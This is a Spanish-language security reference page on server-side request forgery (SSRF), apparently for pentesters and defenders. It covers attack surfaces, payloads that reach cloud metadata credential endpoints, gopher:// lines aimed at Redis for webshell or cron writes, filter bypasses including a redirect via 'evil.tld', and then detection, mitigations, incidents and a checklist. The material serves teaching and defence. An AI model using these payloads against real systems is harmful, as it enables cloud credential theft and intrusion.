Saltearse al contenido

SSRF (Server-Side Request Forgery)

El atacante consigue que el servidor realice peticiones a un destino que él elige. En lugar de hablar con Internet, se obliga al servidor a hablar con recursos internos inaccesibles desde fuera: servicios en localhost, la red interna o los endpoints de metadatos del proveedor cloud. Como la petición sale con la identidad y la posición de red del servidor, el SSRF atraviesa el perímetro: es la vía por la que han caído algunas de las mayores infraestructuras cloud.

flowchart LR
    A[Atacante] -->|"URL controlada"| S[Servidor vulnerable]
    S -->|"petición interna"| I["Servicio interno / 169.254.169.254"]
    I -->|"respuesta o credenciales"| S
    S -->|"datos reflejados"| A
  • Acceso a servicios internos sin autenticación (paneles de admin, bases de datos, colas, Redis, Elasticsearch, Kubernetes API).
  • Credenciales cloud: el endpoint de metadatos expone tokens temporales del rol de la instancia → acceso a la cuenta cloud (S3, EC2, IAM).
  • Escaneo y pivote por la red interna (descubrir hosts/puertos por códigos/tiempos).
  • Lectura de ficheros locales (file://).
  • RCE contra servicios internos vía gopher:// (Redis, MySQL, SMTP, FastCGI).

Aparece donde la app toma una URL, host o IP del usuario: importadores “desde URL”, webhooks, previsualizadores de enlaces, conversores HTML→PDF / SVG, carga de imágenes remotas, SSO/jwks_uri, clientes de API configurables, parsers XML (XXE→SSRF). El cliente HTTP del servidor sigue la URL tal cual; controlar esa URL (o parte) es controlar a quién habla el servidor.

  • Básico (in-band): la respuesta del recurso interno vuelve al atacante.
  • Ciego (blind): no ves la respuesta; confirmas con interacción OOB (DNS/HTTP a tu collaborator).
  • Semi-ciego: no ves el cuerpo, pero sí señales (códigos de estado, tiempos, tamaños) que permiten inferir (escaneo interno, existencia de rutas).
  • Localiza parámetros que aceptan URL/host/IP, incluidos los indirectos: webhooks, “importar desde URL”, avatar remoto, jwks_uri/discovery de SSO, generación de PDF, campos que acaban en una petición server-side.
  • Apunta a un servidor propio / Burp Collaborator / interactsh y observa si el servidor de la app te contacta → confirma SSRF incluso ciego, y te dice si hay DNS, HTTP, o ambos.
Ventana de terminal
# 1) Confirmar que el servidor hace la petición (OOB)
curl "https://app.tld/fetch?url=http://TU_COLLAB.oob.tld/"
# 2) Servicios internos (solo en alcance autorizado)
http://127.0.0.1:6379/ # Redis
http://127.0.0.1:9200/ # Elasticsearch
http://[::1]/ # loopback IPv6
http://127.0.0.1:80,8080,8000 # paneles internos (probar por códigos/tiempos)
# AWS (rol de la instancia -> credenciales temporales)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROL>
# GCP (requiere cabecera)
http://metadata.google.internal/computeMetadata/v1/ (Metadata-Flavor: Google)
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01 (Metadata: true)
# DigitalOcean / Alibaba / Oracle Cloud
http://169.254.169.254/metadata/v1/ (DO)
http://100.100.100.200/latest/meta-data/ (Alibaba)
# gopher:// permite construir paquetes TCP crudos a servicios internos
gopher://127.0.0.1:6379/_<comandos Redis> # p. ej. escribir una cron/webshell
gopher://127.0.0.1:3306/_<handshake MySQL>
# Genera los payloads con Gopherus (Redis, MySQL, FastCGI, SMTP...)

Las listas negras de “localhost/127.0.0.1” se eluden con representaciones alternativas y trucos de parser:

127.0.0.1 -> 127.1 -> 2130706433 (decimal) -> 0x7f000001 (hex) -> 0177.0.0.1 (octal)
127.0.0.1.nip.io # DNS que resuelve a interna
http://evil.tld/redirect -> 302 a http://169.254.169.254/ # redirección que el server sigue
http://expected.tld@169.254.169.254/ # userinfo
http://169.254.169.254#.expected.tld/ # fragmento
http://[::ffff:169.254.169.254]/ # IPv6 mapeada

También DNS rebinding (TTL bajo: pasa la validación con una IP pública y, al conectar, resuelve a interna).

Burp Collaborator / interactsh (OOB), SSRFmap, Gopherus (payloads gopher), y curl para el trabajo manual.

Robo de credenciales de rol → toma de la cuenta cloud; acceso a datos internos; pivote; y, vía gopher, RCE en servicios internos. Un SSRF en un conversor a PDF puede dar lectura de ficheros locales del servidor de render.

  • Peticiones salientes desde el servidor de aplicación hacia rangos privados/ enlace-local (169.254.169.254, 127.0.0.0/8, 10/8, 172.16/12, 192.168/16) o dominios no catalogados.
  • DNS anómalo desde el servidor de app (rebinding), consultas a dominios OOB.
  • Acceso al endpoint de metadatos desde procesos que no deberían usarlo.

Logs del proxy/egress del segmento de aplicación, DNS, flujos de red (NetFlow), y logs de acceso a IMDS.

  1. Lista blanca de destinos/esquemas permitidos (dominios y puertos concretos), no lista negra.
  2. Resolver el nombre y validar la IP contra rangos privados/enlace-local después de resolver, y re-validar tras cada redirección (o no seguir redirecciones). Mitiga rebinding y trucos de parser.
  3. Segmentación de red: el servidor que hace fetch no debe alcanzar metadatos ni servicios internos sensibles (egress controlado).
  4. Metadatos cloud: exigir IMDSv2 (sesión con token PUT + hop-limit), que bloquea el SSRF simple a 169.254.169.254; minimizar permisos del rol de instancia.
  5. Desactivar esquemas peligrosos (file:, gopher:, dict:, ftp:) en el cliente HTTP.

Rotar inmediatamente las credenciales del rol expuestas, revisar su uso en CloudTrail/registros, aplicar IMDSv2 y segmentación, y parchear el endpoint.

  • Capital One (2019) — SSRF contra el endpoint de metadatos de AWS (IMDSv1) para obtener credenciales del rol y volcar datos de ~100 millones de clientes de S3. El caso que popularizó IMDSv2.
  • Microsoft Exchange — ProxyLogon (CVE-2021-26855, 2021) — SSRF como primer eslabón de una cadena hacia RCE; comprometió decenas de miles de servidores.
  • GitLab (CVE-2021-22214) — SSRF no autenticado en la función de importación.
  • Grafana, Jira y múltiples proxies/converters — SSRF históricos para acceso interno o lectura de metadatos.

CVEs concretos en NVD (https://nvd.nist.gov/vuln/search) y GitHub Advisories (https://github.com/advisories).

  • Identificados parámetros directos e indirectos que aceptan URL/host.
  • Confirmada interacción OOB (incluido blind) con collaborator.
  • Probados metadatos cloud (IMDSv1) y servicios internos, en alcance autorizado.
  • Probados bypasses (IP alternativa, rebinding, redirección, userinfo, IPv6).
  • Evaluado gopher→RCE si hay servicios internos alcanzables.
  • Documentado el impacto (credenciales/servicio interno alcanzado) sin abusar.